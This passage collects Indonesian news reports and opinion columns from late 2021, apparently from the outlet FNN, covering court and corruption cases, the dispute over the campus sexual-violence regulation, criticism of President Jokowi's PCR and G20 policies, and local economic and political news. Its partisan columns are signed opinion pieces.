Arupadatu, salah seorang eks napi Lapas Narkotika mengaku mengalami tindak kekerasan saat menghuni lapas tersebut, mulai dari dipukul, diinjak-injak, hingga dipukul memakai kelamin sapi jantan yang sudah keras. (mth)

Anggota DPR Desak Kepastian Hukum Untuk Kasus Denny Indrayana

Jakarta, FNN - Anggota DPR Junimart Girsang mendesak aparat penegak hukum untuk memberikan kepastian hukum dalam kasus payment gateway dengan tersangka Denny Indrayana. "Kasus PG (Payment Gateway) yang super menghebohkan ketika itu ternyata mengendap juga penyidikannya di bagian tipikor Polri. Para penggiat antikorupsi pun sepertinya tidak responsif mengkritisinya sebagaimana dugaan kasus-kasus korupsi yang ada selama ini," kata Wakil Ketua Komisi II DPR RI itu dalam keterangan tertulis di Jakarta, Selasa, 2 November 2021. Kasus dugaan korupsi payment gateway di Imigrasi Kemenkumham itu menyeret nama mantan Wamenkumham era SBY Denny Indrayana. Perkara itu sedang ditangani Polda Metro Jaya serta Kejati DKI Jakarta. Junimart menegaskan, Polri dengan program presisinya wajib transparan kepada publik mengenai proses penyidikan kasus tersebut. "Ini sangat perlu demi keadilan dan kepastian hukum," ujar politisi PDI Perjuangan itu, sebagaimana dikutip dari Antara. Junimart menegaskan, asas equality before the law harus tetap berlaku di Indonesia. Oleh sebab itu, Junimart mendesak adanya kejelasan dan kepastian dari kasus tersebut. "Kalau memang Penyidik tidak dapat memenuhi petunjuk-petunjuk Jaksa, sebaiknya perkaranya diberhentikan saja supaya hak seseorang tidak tersandera," kata Junimart menegaskan. Dengan demikian, Junimart berharap, agar Polri dengan konsisten dapat merealisir nilai-nilai presisinya dalam kasus tersebut. "Untuk itu sekali lagi, kami minta Polri dengan konsisten merealisasi nilai-nilai presisinya," ucap Junimart berharap. (MD).

Umat Islam Mulai Bergerak Menolak Permen tentang Kekerasan Seksual

Oleh: Dr. Adian Husaini UMAT Islam Indonesia mulai bergerak untuk menolak Permendikbud Ristek tentang Pencegahan dan Penanganan Kekerasan Seksual (Permen PPKS), yaitu Permen No 30 tahun 2021. Adalah Ormas Persatuan Umat Islam (PUI) yang pada 30 Oktober 2021 mengeluarkan pernyataan resmi. Sebagai Ormas Islam yang selama puluhan tahun bergerak di bidang pendidikan ini, Permendikbud Ristek No 30 tahun 2021 itu dinilai oleh PUI, bertentangan dengan nilai-nilai moralitas Pancasila. PUI mengingatkan, bahwa tujuan pendidikan sebagaimana diamanahkan UU Nomor 20 tahun 2003 tentang Sistem Pendidikan Nasional, Pasal 3 adalah mengembangkan potensi peserta didik agar menjadi manusia yang beriman dan bertakwa kepada Tuhan Yang Maha Esa, berakhlak mulia, sehat, berilmu, cakap, kreatif, mandiri, dan menjadi warga negara yang demokratis serta bertanggung jawab. Sedangkan muatan Permendikbud Ristek ini jelas bertentangan dengan Tujuan Pendidikan Nasional itu. "Terlihat sangat nyata bahwa Permendikbud Ristek nomor 30 tahun 2021 mengadopsi draft lama Rancangan Undang-undang Penghapusan Kekerasan Seksual (RUU P-KS) yang telah ditolak masyarakat luas dan DPR pada periode 2014-2019 karena jelas bertentangan dengan Pancasila." Sebagaimana landasan filosofis draf lama RUU P-KS, hal yang sama jelas tersurat dalam Permendikbud Ristek no 30 tahun 2021, yakni paradigma sexual-consent. Paradigma ini memandang bahwa standar benar dan salah dari sebuah aktifitas seksual tidak lagi berdasarkan pada agama, tetapi berganti kepada persetujuan dari para pihak. Artinya, selama tidak ada pemaksaan, selama telah berusia dewasa, dan selama ada persetujuan, maka aktifitas perzinahan dianggap halal. Begitu juga, Permendikbud No 30 tahun 2021 ini membuka peluang legalisasi LGBT. Sebab, selama tindak homoseksual atau lesbian itu dilakukan dengan persetujuan para pelaku, dan tidak ada kekerasan atau pemaksaan, maka itu dianggap hal yang boleh dilakukan dan tidak dipersoalkan. "Praktik Zina dan LGBT adalah salah satu sebab utama maraknya tindak kejahatan seksual terhadap perempuan maupun anak-anak selama ini, maka negara tidak boleh malah memperluas berkembangnya praktik ini," begitu bunyi pernyataan PUI, yang ditandatangani oleh Wakil Ketua Umum dan Sekjen PUI (Dr. Wido Supraha dan H. Raizal Arifin). Menurut PUI, dunia pendidikan adalah benteng terakhir dalam menjaga moralitas bangsa dari serbuan pemikiran asing yang merusak nilai-nilai Pancasila di NKRI. PUI masih percaya bahwa Kemendikbud Ristek sangat peduli dalam persoalan ini dalam pengembangan regulasi pendidikan di NKRI. PUI menyatakan mendukung segala upaya penghilangan dampak negatif dari aktifitas seksual, tapi dengan cara yang lebih komprehensif sesuai dengan nilai-nilai Pancasila, sehingga kalimat ‘Kekerasan Seksual’ dapat diganti dengan ‘Kejahatan Seksual’ yang lebih kompatibel dengan KUHP (Kitab Undang-undang Hukum Pidana) dan mencakup berbagai bentuk perzinahan yang telah dilarang agama, sebagai wujud Berketuhanan Yang Maha Esa dan Berkemanusiaan Yang Adil dan Beradab. "Dengan demikian, PUI meminta kepada Mendikbud Ristek untuk mencabut Permendikbud No 30 tahun 2021 atau digantikan dengan aturan baru yang sesuai jiwa dan nilai-nilai Pancasila, dan agar dalam pembahasannya melibatkan organisasi keagamaan yang juga menjadi stakeholder dalam pengelolaan pendidikan tinggi di Indonesia, agar setiap peraturan yang keluar dapat berlaku efektif karena telah sesuai dengan norma-norma masyarakat Indonesia yang ber-Pancasila," demikian akhir pernyataan PUI. Dalam artikel yang lalu, saya sudah menulis, bahwa Permendikbud No 30 tahun 2021, memang terlalu sekuler dan mengabaikan ajaran agama. Di dalam NKRI yang jelas-jelas menyatakan bahwa negara berdasar atas Ketuhanan Yang Maha Esa, maka nilai-nilai agama tidak dapat diabaikan. Persoalan seksualitas dan keluarga adalah masalah fundamental bagi keberlangsungan suatu bangsa. Apalagi untuk Indonesia yang menyatakan sebagai satu negara religius. Guru besar Ilmu hukum Universitas Indonesia, Prof. Hazairin, dalam bukunya, Demokrasi Pancasila, (Jakarta: Rineka Cipta, 1990, cet.ke-6), menulis: "bahwa yang dimaksud dengan Tuhan Yang Maha Esa itu ialah Allah, dengan konsekuensi (akibat mutlak) bahwa "Ketuhanan Yang Maha Esa" berarti pengakuan "Kekuasaan Allah" atau "Kedaulatan Allah". Prof. Notonagoro, pakar hukum dan filsafat Pancasila dari UGM, menulis dalam bukunya, Pancasila, Secara Ilmiah Populer (Jakarta, Pancuran Tujuh, 1971): "Sila ke-Tuhanan Yang Maha Esa mengandung isi arti mutlak, bahwa dalam Negara Republik Indonesia tidak ada tempat bagi pertentangan dalam hal ke-Tuhanan atau keagamaan bagi sikap dan perbuatan anti ke-Tuhanan atau anti keagamaan dan bagi paksaan agama." (hlm. 73). Tahun 1976, pemerintah RI membentuk Panitia Lima yang menerbitkan buku Uraian Pancasila. Anggota Panitia Lima ialah: Mohammad Hatta, Prof. H.A. Subardjo Djoyoadisuryo SH, Mr. Alex Andries Maramis, Prof. Sunario SH, dan Prof. Abdoel Gafar Pringgodigdo SH. Dalam uraiannya tentang kedudukan sila pertama, Panitia Lima merumuskan: "Dasar Ketuhanan Yang Maha Esa jadi dasar yang memimpin cita-cita kenegaraan kita, yang memberikan jiwa kepada usaha menyelenggarakan segala yang benar, adil dan baik, sedangkan dasar kemanusiaan yang adil dan beradab adalah kelanjutan dalam perbuatan dan praktik hidup dari dasar yang memimpin tadi." (Lihat, Muhammad Hatta, Pengertian Pancasila, (Jakarta: CV Haji Masagung, 1989). Permendikbud Ristek No 30 tahun 2021 memang jelas-jelas mengabaikan ajaran agama. Ukuran baik-buruk dalam soal seksualitas, harusnya didasarkan kepada agama. Apalagi Permendikbud 30 tahun 2021 itu diterapkan untuk semua kampus di Indonesia. Sepatutnya, yang lebih tepat adalah Permendikbud Ristek tentang Kejahatan Seksual, yang mencakup kejahatan perzinahan, perkosaan, pelecehan seksual, homoseksual dan lesbian, dan kejahatan seksual lainnya. Semoga Mendikbud Ristek bersedia mendengar aspirasi umat Islam, seperti yang disuarakan oleh PUI. (Depok, 1 November 2021). Penulis adalah Ketua Umum Dewan Da’wah Islamiyah Indonesia (DDII).

PCR di Negeri Peng Peng

Oleh Ady Amar *) Jika mendengar atau membaca berita perihal PCR, maka di pikiran rakyat muncul ilustrasi berbagai macam penilaian. Ada yang kalem mengilustrasikan dengan ketidakterbukaan pemerintah mengenai harga dasar PCR itu sendiri, atau proyek yang lebih diserahkan pada swasta tertentu. Sedang yang ekstrem mengilustrasikan dengan proyek akal-akalan yang "direstui" penguasa dalam menghisap darah rakyat yang tengah sekarat. Ilustrasi bisa muncul bermacam-macam dari PCR itu sendiri. Itu sah-sah saja, dan itu tanda rakyat sadar bahwa ada yang tidak beres yang kasat mata dimainkan lewat kebijakan yang terus berubah-ubah dari waktu ke waktu. Dan itu sejak lebih kurang 1,5 tahun lalu. Tidak perlu waktu lama, cukup 2-3 hari saja kebijakan bisa berubah dengan diubah secara ekstrem. Menyangkut perbedaan angka-angka nominal yang tidak kecil. Bukan rahasia umum, bahwa proyek PCR itu dikendalikan oleh peng peng (penguasa pengusaha). Majalah Tempo memberitakan dengan terang benderang, ada bisnis peng peng di sana. Maka bisa disebut setidaknya 3 Menteri aktif yang biasa ditunjuk Presiden Jokowi untuk mengendalikan pandemi Covid-19, bahkan disinyalir pula ada mantan menteri, dan konglomerat tertentu. Mereka itu bisa disebut dengan peng peng. Sengaja nama-nama mereka tidaklah perlu dimunculkan di sini, tapi akal sehat publik pastilah dengan sangat mudah bisa menangkap siapa yang dimaksud dari mereka itu. Bisnis model peng peng ini tentulah menggiurkan bagi pejabat dan pengusaha, yang pastinya menanggalkan moral. Sebuah kebijakan bisnis dengan keuntungan trilyunan yang mencekik rakyat yang tengah kesulitan hidup di masa pandemi. Inilah model bisnis paling buruk di muka bumi. Dari sisi penguasa menetapkan kebijakan semaunya, dan dari sisi pengusaha menetapkan harga semaunya dan seterusnya. Kebijakan dibuat wajib, atau kata lain dari memaksa, dengan dalih dibuat seolah untuk melindungi rakyat tertular Covid-19. Maka penggunaan PCR untuk moda transportasi udara khususnya menjadi keharusan. Maka harga PCR telah ditentukan dan jadi kebijakan persyaratan perjalanan. Rakyat dibuat tidak berkutik dan menerima saja, jika tidak ingin makin sulit bisa bergerak mengais rezeki. Konsekuensi dari kebijakan dibuat mengikat, dijaga dan diamankan dari atas sampai ke tingkat operasional di bawah. Itu agar "aman", pengusaha bisa berselancar semaunya-sesukanya di atas penderitaan rakyat. Upaya segelintir pejabat rakus setingkat Menteri, konglomerat busuk, yang memang tampak digdaya tanpa bisa disentuh hukum, seolah terus dipertontonkan. Belakangan rakyat mulai merasakan ketidakberesan kebijakan PCR yang mencekik, yang lalu menimbulkan teriakan kesakitan akan cekikan itu, sebagai bentuk protes, agar cekikan itu tidak diteruskan. Agar teriakan itu tidak sampai bisa menjadi kekuatan dahsyat menghantam jantung kekuasaan, maka Presiden Jokowi dengan memaksa agar tarif PCR diturunkan menjadi Rp 300.000,-. Lho kok bisa harga itu jadi turun drastis, dari sebelumnya sekitar Rp 1 juta. Sigap betul Pak Jokowi itu, yang mampu melihat cekikan pada rakyat yang jika tidak dihentikan bisa meledak jadi kekuatan tersendiri. Itu tidak diinginkannya. Presiden Jokowi mestinya tahu betul, bahwa ada hal tidak beres dimainkan pembantu-pembantunya, yang membuat kebijakan menyengsarakan rakyat. Kebijakan yang jauh dari janji-janji Jokowi saat kampanye yang esensinya tentang kesejahteraan, yang saat ini justru ditelikung anak buahnya sendiri. Kita lihat saja, apakah istana akan evaluasi atas kebijakan itu atau tidak. Evaluasi atas bisnis peng peng yang menyengsarakan rakyat, mestinya muncul mengoreksi dan sampai mencopot para pembantu yang khianat pada jabatan yang diemban. Pertanyaan lanjutan bisa dimunculkan di sini. Ke mana lembaga anti rasuah KPK melihat adanya bisnis peng peng, yang memunculkan nama-nama pejabat setingkat menteri. Temuan Tempo mestinya bisa jadi pintu masuk untuk membongkarnya. Tapi sepertinya "gerak" KPK tidak bisa menyentuh sampai pada para pembesar negeri yang berselancar dari balik punggung Presiden. KPK hanya bisa menyentuh mereka yang ada di sisi Presiden, tapi tidak mereka yang ada di balik punggungnya. Tampak-tampaknya sih memang demikian. (*) *) Kolumnis

Indonesia Ketua G20: Jokowi Hanya Ingin Hura-Hura KTT Bali 2022

By Asyari Usman PRESIDEN Joko Widodo (Jokowi) senang menerima giliran sebagai ketua G20. Yaitu, 20 negara di dunia yang dianggap sebagai kekuatan yang menentukan. Apa yang membuat Jokowi senang? Tak lain adalah kesempatan untuk menjamu para presiden dan perdana menteri plus pejabat senior G20 di Bali pada KTT 30-31 Oktober 2022. Inilah yang menjadi fokus Jokowi. Bagaimana agar pertemuan puncak G20 itu menyenangkan para tamu. Agar mereka terhibur. Agar mereka memuji kenyamanan KTT dan kemewahan tempat pertemuan. Di Roma, pada penutupan KTT sekaligus penyerahan palu ketua G20, Jokowi memang menyebutkan tema besar presidensi Indonesia atas G20. Yaitu, mendorong upaya bersama pemulihan ekonomi dunia dengan tajuk besar “Recover Together, Recover Stronger” (Pulih Bersama, Pulih Makin Kuat). Janji Jokowi di Roma adalah pertumbuhan untuk semua, yang berbasis rakyat dan ramah lingkungan. Catat: rakyat dan lingkungan. Bisa dipercaya Jokowi akan mendorong ekonomi rakyat? Tidak masalah kalau ada yang percaya. Saya sendiri tidak. Tak yakin dengan slogan G20 Pak Jokowi itu. Sudah terbukti dengan nyata bahwa dia lebih senang membuat kebijakan ekonomi yang mendukung oligarki bisnis. Yang pro-konglomerat. Karena beliau memang berhutang budi kepada mereka. Dengan begitu, tak salah kalau ada kesimpulan bahwa Jokowi lebih suka Indonesia ini tetap dicengkeram oleh oligarki bisnis. Kemudian, Anda percaya Jokowi ramah lingkungan? Misalnya, Jokowi mengatakan dalam wawancara dengan televisi BBC bahwa laju pembabatan hutam (deforestasi) berhasil ditekan. Tapi, Forest Watch Indonesia (FWI) membantahnya. Direktur Eksekutif FWI, Mufti Barri, mengatakan deforestasi cuma pindah dari wilayah barat ke wilayah timur. Mufti menambahkan, deforestasi tidak banyak lagi di Indonesia barat bukan karena upaya pemerintah melainkan karena tidak ada lagi hutan yang mau dirambah. Dengan bantahan dan fakta yang ada, bagaimana mungkin menyebutkan Jokowi ramah lingkungan? Pejabat lain yang senang hura-hura G20 adalah Menparekraf Sandiaga Uno. Dia mengajak banyak pihak agar mengantisipasi banyaknya event internasional yang berlangsung di Indonesia dalam setahun ini. Apakah ini ekonomi rakyat? Siapa yang bakal mengerjakan even-even internasional itu? Mungkin teman-teman Sandi sendiri, kelihatannya. Atau kawan-kawan Menteri BUMN Erick Thohir yang memiliki kapabilitas untuk menyelenggarakan dan mengikuti acara-acara internasional. Mana mungkin pengusaha kecil ikut? Kecuali pengusaha kecil palsu. Jadi, dari mana ekonomi rakyat (people-centered) yang diucapkan oleh Pesiden Jokowi? Apa dasar untuk mengatakan bahwa G20 akan membantu perekonomian rakyat? Terakhir, kita lihat slogan “Recover Together, Recover Stonger” yang diucapkan Jokowi di KTT Roma beberapa hari lalu itu. Indonesia akan mendorong upaya bersama, kata beliau. Apa iya China mau diajak atau akan mengajak Indonesia tumbuh bareng-bareng? Naif sekali, tentunya. Semua orang bisa memahami nafsu China untuk mendominasi pasar Indonesia. Agak mengherankan kalau para petinggi di sini tidak melihat keinginan China (RRC) untuk menjadi tuan di Indonesia. Anda semua perlu berusaha meyakinkan Jokowi bahwa China tidak akan pernah membantu konsumennya menjadi produsen. Indonesia ini sudah sempurna dijadikan konsumen ribuan produk China. Dari mana logika Jokowi untuk mengajak China pulih bersama (recover together)? Sedangkan Beijing punya agenda sendiri. Lihat saja contoh nyata proyek-proyek investasi China di Indonesia selama ini. Mereka sebanyak mungkin memberikan peluang kepada orang-orang China sendiri. Baik itu dalam mengerjakan proyek, mengoperasikannya, maupun mengelola produksi proyek-proyek itu. Kita persingkat saja. Bagi Jokowi, posisi ketua G20 itu hanya untuk hura-hura saja. Dia akan fokus pada kehebatan KTT di Bali tahun depan. Mewah dan menyenangkan. Banyak pujian untuk penyelenggaraannya. Ini yang paling penting bagi Jokowi. Omong kosong untuk ekonomi rakyat dan menahan kerusakan lingkungan.[] (Penulis wartawan senior FNN)

Transaksi Gelar Pangan Murah Momen HPS 2021 di Kalbar Rp 3,6 Miliar

Pontianak, FNN - Dinas Ketahanan Pangan Provinsi Kalbar mencatat selama kegiatan Gelar Pangan Murah (GPM) dalam rangka memperingati Hari Pangan Sedunia (HPS) 2021 di Kalbar tercatat capai Rp3,6 miliar. "Bersyukur antusiasme masyarakat dalam GPM ini tinggi. Hal itu menunjukkan daya beli masyarakat membaik karena dibantu dengan harga yang murah. Dengan begitu ekonomi bergerak baik secara langsung maupun tidak langsung," ujar Kepala Dinas Ketahanan Pangan Provinsi Kalbar, Heronimus Hero saat penutupan rangkaian HPS 2021 di Kalbar, Selasa. Ia menjelaskan dalam momen HPS 2021 terutama di GPM terdapat manfaat langsung dan ada unsur pemberdayaan di dalam kegiatan yang dipusatkan di Kota Pontianak tersebut. Dengan GPM masyarakat terbantu karena di tengah wabah COVID-19 ini pendapatan berkurang dan gerak masyarakat terbatas. Terbantunya masyarakat karena harga sembako yang dijual di bawah harga pasar. Kemudian juga tersedia belanja online dengan biaya ongkos kirim gratis. "Harga jual sembako di bawah harga pasar. Sehingga ini sangat membantu masyarakat dalam memenuhi kebutuhannya sehari - sehari. Contoh untuk minyak goreng di GPM hanya Rp 12.500 per liter. Kalau di pasar Rp17.000 per liter. Harga kami murah karena kerjasama dengan agen atau distributor," jelas dia. Ia menambahkan selain memberikan akses pasar dan kemudahan membeli dengan harga murah ada pemberdayaan start up lokal seperti Bujang Kurir dan kelompok tani juga disediakan pasar sebagai pemasok beras. "Bujang kurir yang merupakan star up di Pontianak diberdayakan pemerintah. Jadi banyak sektor yang bergerak dampak dari GPM 2021 ini," jelas dia. Selainnya memberikan dampak ke secara langsung masyarakat, ia menyebutkan bahwa kegiatan GPM tersebut juga andil dalam menjaga inflasi di Kalbar. "Pemberdayaan terus kami lakukan agar dapat secara bersama memberikan manfaat luas bagi semua terutama pengendalian harga atau inflasi," jelas dia. Dalam HPS 2021, rangkaian kegiatan juga dihadirkan selain GPM di antaranya ada lomba lomba video kreatif yang tingkat pelajar SMA/SMK di Kota Pontianak, lomba video komentar dan opini terkait pangan untuk mahasiswa se-Kalbar, lomba foto twibbonize dan lomba video profil Kelompok Wanita Tani untuk program Pekarangan Pangan Lestari (P2L). (mth)

Jenama UMKM Lokal Heymale Pecahkan Rekor MURI

Jakarta, FNN - Jenama UMKM lokal Heymale secara resmi mengumumkan pencatatan pencapaian mereka di Rekor Museum Rekor Dunia Indonesia (MURI). Heymale berhasil memecahkan rekor pada kategori Penjualan Produk Jaket terbanyak melalui situs web dalam waktu satu menit. Pencapaian ini diraih pada periode penjualan di awal Oktober. “Kita tentunya sangat bersyukur ya bisa mencatatkan rekor ini, terlebih karena pencapaian ini sejatinya bukan merupakan sesuatu yang kami rencanakan, melainkan bagian dari aktivitas sehari-hari kami," ujar Founder Heymale Dimas Mairyan dalam keterangannya diterima Selasa. Dimas mengatakan pencapaian ini merupakan sebuah kebanggaan dan tanda kepercayaan yang dimiliki oleh masyarakat terhadap produk dan jenama Heymale. "Akan tetapi pencapaian ini bagi kami bukanlah garis finish, merupakan awalan bagi perjuangan kami untuk terus berkembang," tambah Dimas. Heymale merupakan jenama UMKM lokal yang didirikan oleh Dimas dan istrinya. Saat ini produk Heymale dapat dibeli melalui website mereka https://heymale.id/, selain Heymale Dimas bersama istrinya Nadya Rosmalia juga memiliki bisnis fashion wanita dengan nama Heylocal, yang turut memecahkan rekor dalam kategori penjualan mukena dan tas. Menanggapi pencatatan rekor Heymale Direktur Operasional Museum Rekor Indonesia Jusuf Ngadri mengatakan sangat bahagia dapat mencatatkan rekor MURI untuk Heymale bersama dengan pasutri Dimas dan Nadya. "Nadya yang memproduksi brand Heylocal telah mencatat rekor Penjualan Produk mukena terbanyak melalui situs web dalam waktu 1 menit dan Penjualan Produk tas wanita terbanyak melalui situs web dalam waktu 1 menit, sang suami juga tidak kalah dengan Brand Heymale ikut mencatatkan rekor Penjualan Produk Jaket terbanyak melalui situs web dalam waktu 1 menit," ujar Jusuf. Jusuf pun berharap agar pencapaian ini bisa menjadi inspirasi wirausahawan di seluruh Indonesia. "MURI sesuai dengan tujuannya pembentukannya menginspirasi setiap warga bangsa ini agar terus mencatatkan prestasi terbaik siap untuk terus mendukung tumbuh kembangnya UMKM di negeri ini. Kami berharap di masa mendatang akan ada berbagai pencapaian lagi dari Dimas, dan Nadya dan tentunya UMKM lain di Indonesia," tambah Jusuf. Di masa pandemi ini UMKM memiliki peranan yang cukup penting dalam menopang perekonomian. Hal ini dibuktikan dengan kontribusi pendapatan UMKM terhadap PDB Indonesia sebesar 61,07 persen atau setara dengan Rp8.573,89 triliun. Selain itu juga kontribusi UMKM terhadap perekonomian Indonesia meliputi kemampuan menyerap 97 persen dari total tenaga kerja yang ada, serta dapat menghimpun sampai 60,4 persen dari total investasi. Terkait dengan kondisi sulit ini, Dimas menilai penting untuk para wirausahawan agar terus beradaptasi dalam menghadapi tantangan perubahan. "Namun tantangan ini sejatinya perlu untuk kita maknai bukan sebagai penghalang namun lebih sebagai penyemangat bagi kita. Melalui momen ini saya ingin mengajak teman-teman di luar sana yang mungkin masih ragu untuk memulai bisnisnya, untuk mari mulai lakukan sekarang," tutup Dimas. (mth)

Riza Angkat Anies Baswedan Jadi Anggota Menwa Indonesia

Jakarta, FNN - Wakil Gubernur DKI Jakarta Ahmad Riza Patria selaku Komandan Komando Nasional Resimen Mahasiswa (Menwa) Indonesia mengangkat Gubernur DKI Jakarta Anies Baswedan sebagai anggota kehormatan Menwa Indonesia. "Harapan kami semua anggota dan alumni bisa meneladani beliau (Anies Baswedan), bisa bersinergi dan kolaborasi bersama," kata Riza Patria usai pengangkatan Anies menjadi anggota Menwa Indonesia di Balai Kota Jakarta, Selasa. Riza menyebutkan, di bawah kepemimpinan Anies, kasus COVID-19 di Jakarta turun signifikan dan diharapkan capaian itu bisa diteladani anggota serta alumni Menwa. "Di bawah kepemimpinan Pak Anies, kita bisa terus berjuang dan Alhamdulillah berhasil menurunkan secara signifikan kasus COVID-19 di Jakarta, banyak sekali prestasi yang ditorehkan," katanya. Gubernur Anies Baswedan mengapresiasi pengangkatan dirinya sebagai anggota kehormatan Menwa Indonesia. Ia menilai Resimen Mahasiswa memiliki dua peran, yakni sebagai unsur cadangan pertahanan Indonesia dan sebagai generasi muda yang digembleng untuk menjadi pribadi yang bermanfaat untuk masa depan. "Terima kasih atas pemberian gelar anggota kehormatan di dalam unsur Menwa dan semoga bisa berkiprah," kata Anies. Anies menyebutkan Resimen Mahasiswa dapat menjadi wahana untuk menumbuhkan dan mengembangkan potensi kepemimpinan mahasiswa. "Menwa bukan sekadar mengantisipasi masalah kekinian, tetapi tempatkan Menwa sebagai wahana menyiapkan kepemimpinan di masa depan," katanya. (mth)

Timsel Rumuskan 10 Karakter Anggota KPU-Bawaslu 2022-2027

Jakarta, FNN - Wakil Ketua Tim Seleksi calon anggota KPU-Bawaslu periode 2022-2027 Chandra Hamzah mengatakan Timsel telah merumuskan poin penting terkait 10 karakter penyelenggara pemilu ke depan yang akan lolos dalam proses seleksi. "Ada beberapa 'item' yang menjadi perhatian profil anggota KPU-Bawaslu ke depan," kata Chandra Hamzah dalam Rapat Dengar Pendapat Umum (RDPU) Komisi II DPR RI di Kompleks Parlemen, Jakarta, Selasa. Dia menjelaskan karakter pertama, memiliki integritas tinggi; kedua, punya jiwa kepemimpinan yang kuat dan kemampuan manajerial yang mumpuni. Ketiga, menurut dia, kemampuan dan keberanian dalam mengambil keputusan yang adil; keempat keberpihakan kepada gender dan kaum difabel; kelima mampu mengatasi berbagai tekanan kepentingan. Dia menjelaskan, keenam, mampu menghadapi tekanan waktu dan beban kerja; ketujuh, kemampuan koordinasi dan komunikasi dengan berbagai pihak. "Kedelapan, menyadari pentingnya teknologi dalam penyelenggaraan Pemilu; kesembilan, kerja sama tim; dan kesepuluh mampu melakukan terobosan inovatif agar Pemilu berjalan efektif dan efisien," ujarnya. Selain itu, Chandra mengatakan Timsel diberikan kewenangan oleh UU nomor 7 tahun 2017 tentang Pemilu Pasal 23, yaitu untuk mengumumkan tiga hal kepada masyarakat. Pertama, menurut dia, mengumumkan pendaftaran bakal calon anggota KPU-Bawaslu; kedua, mengumumkan hasil penelitian administrasi bakal calon. "Dan ketiga, mengumumkan melalui media massa nasional daftar nama bakal calon yang lulus seleksi tertulis dan tes psikologi untuk mendapatkan masukan dan tanggapan masyarakat," katanya. Namun dia memastikan bahwa Timsel akan melaporkan pelaksanaan setiap tahapan seleksi kepada DPR sesuai amanat Pasal 23 ayat 5 UU Pemilu. RDPU tersebut dipimpin Ketua Komisi II DPR RI Ahmad Doli Kurnia dan dihadiri seluruh anggota Timsel calon anggota KPU-Bawaslu periode 2022-2027. (mth)

Beramai-ramai Mengolok-olok Presiden

Oleh: Yusuf Blegur Sudah 7 presiden memimpin NKRI, 6 di antaranya merupakan orang Jawa. Hanya satu yang berasal dari luar Jawa, tepatnya Prof. Dr. Ing. BJ Habibie yang berasal dari Sulawesi. Lepas dari segara kelebihan dan kekurangannya. Hanya ada dua orang presiden yang bisa dikatakan istimewa. Mereka adalah Soekarno dan Soeharto. Itupun sangat kental dengan kontroversi. Ada pro dan kontra. Sesuatu yang manusiawi. Meskipun begitu, keduanya tetap pemimpin Indonesia yang besar dan mendunia. Dihormati dan disegani oleh kawan maupun lawan politiknya. Disanjung dan dipuja di dalam dan di luar negeri. Empat orang presiden setelah Soekarno dan Soeharto. Relatif adem ayem dan biasa saja memimpin Indonesia. Tidak terlalu menonjol prestasinya juga tidak tidak terlalu ekstrim kegagalannya. Setidaknya sampai sebelum presiden terakhir yang memimpin Indonesia. Pemerintahan-pemerintahan yang normatif, sebelum Joko Widodo menjadi presiden hingga saat ini. Pemerintahan yang melewati masa orde lama dan orde baru itu. Terkesan tidak sepadan dengan kiprah dan catatan sejarah yang telah ditorehkan Soekarno dan Soeharto. Presiden setelahnya dianggap rakyat tidak lebih baik dari Soekarno dan Soeharto. Soekarno dan Soeharto sepertinya telah menjadi orang pilihan dan ditakdirkan Tuhan untuk memimpin Indonesia yang baru lahir dan proses bertumbuh pada saat itu. Dengan segala kebesaran yang disandangnya, terkait prestasi dan kesalahannya. Termasuk hal-hal yang menakjubkan dan juga dosa-dosa politiknya. Betapapun demikian baik Soekarno maupun Soeharto, keduanya tetaplah pemimpin yang kharismatik. Apapun hal-hal yang negatif dan buruk pada mereka. Rakyat dan lawan politik sekalipun, tidak pernah mengejek dan mengolok-olok. Apalagi sampai menghina. Keseharian kepemimpinannya Soekarno dan Soeharto penuh kewibawaan. Disanjung dan dicintai rakyatnya. Kalaupun ada agitasi, propaganda dan hujatan. Itupun terjadi menjelang kejatuhan mereka. Lengsernya pemimpin suatu negara yang sarat konspirasi dari politik internasional dan lokal. Hancurnya Kehormatan Istana Negara Dalam era reformasi, seiring kuatnya partisipasi politik rakyat. Peran publik begitu responsif terhadap penyelenggaraan pemerintahan. Terlebih saat dunia memasuki era digitalisasi. Dimana perkembangan teknologi komunikasi begitu pesat. Sejalan dengan itu, ruang publik dipenuhi keberlimpahan informasi. Rakyat begitu mudahnya mengakses dan mengelola informasi. Saking kuatnya keterlibatan rakyat dalam konstelasi politik nasional. Pemerintah dalam menjalankan tata kelola negara, terasa dibanjiri oleh aspirasi, kritik dan bahkan gugatan publik. Rakyat benar-benar memanfaatkan kebebasan ekspresi dan menemukan wadah dan setiap celah saluran aspirasinya. Dinamika publik yang sedemikian itu. Menghasilkan peran pengawasan dan evaluasi yang kuat terhadap jalannya pemerintahan. Saat rakyat melihat fakta gagalnya peran dan fungsi parlemen. Membuat publik semakin skeptis dan apriori terhadap institusi negara. Rakyat semakin terbuka dan lantang bersikap kritis. Ketika jalur konstitusional tersumbat, aspirasi publik menyeruak ke jalanan. Suara menggema dan geliat aksi berserakan. Pun, media sosial mengemuka menjadi alternatif ruang demokrasi yang sejauh ini berhasil dilumpuhkan kekuasaan. Pemerintahan di bawah kepemimpinan Jokowi seperti tak kehabisan waktu dibombardir aspirasi publik. Suara-suara rakyat yang sarat dengan gugatan dan perlawan itu kian menjadi-jadi. Menuntut kebenaran dan keadilan dari kepemimpinan Jokowi yang kadung dianggap pemerintahan boneka. Pemerintahan kapitalistik yang sekuler dan liberal, oligarki, tirani dan segala macam sistem yang anti kesejahteraan rakyat. Kegagalan rezim kekuasaan di pelbagai aspek kehidupan. Bahkan oleh banyak kalangan sudah dianggap memasuki fase yang berbahaya dan beresiko menghancurkan kehidupan rakyat, berbangsa dan bernegara. Bukan hanya sekedar tuntutan dan gugatan. Suara perlawanan rakyat itu telah menjelma menjadi bahan candaan, ejekan dan aktifitas mengolok-olok presiden dan jajaran pemerintahannya. Sumpah-serapah dan ungkapan yang menghina mengalir deras dalam media sosial dan percakapan keseharian rakyat. Sesuatu yang memang belum pernah terjadi pada presiden dan rezim kekuasaan sebelumnya. Miris memang, tapi apa boleh dikata. Jokowi kini telah menjadi simbol betapa begitu rendahnya rakyat memperlakukan presidennya. Menggambarkan betapa lingkungan istana sudah tidak dianggap sesuatu yang sakral. Tampilan rezim kekuasaan secara bertubi-tubi mengalami perlakuan sinis publik yang menohok. Mulai dari perumpamaan binatang seperti diksi kecebong dan kodok, boneka pinokio hingga raja pembohong dan raja hutang menyemat pada sosok Jokowi. Semua hal-hal yang merendahkan dan menista terlontar publik menghujam keberadaan dan eksistensi Jokowi dan rezimnya selama 7 tahun ini. Mungkin ini telah menjadi bola pantul yang dilempar oleh kekuasaan pemerintahan Jokowi. Diarahkan pada rakyat namun berbalik ke diri sendiri. Perlakuan yang menindas dan dzolim pada rakyat berbuah 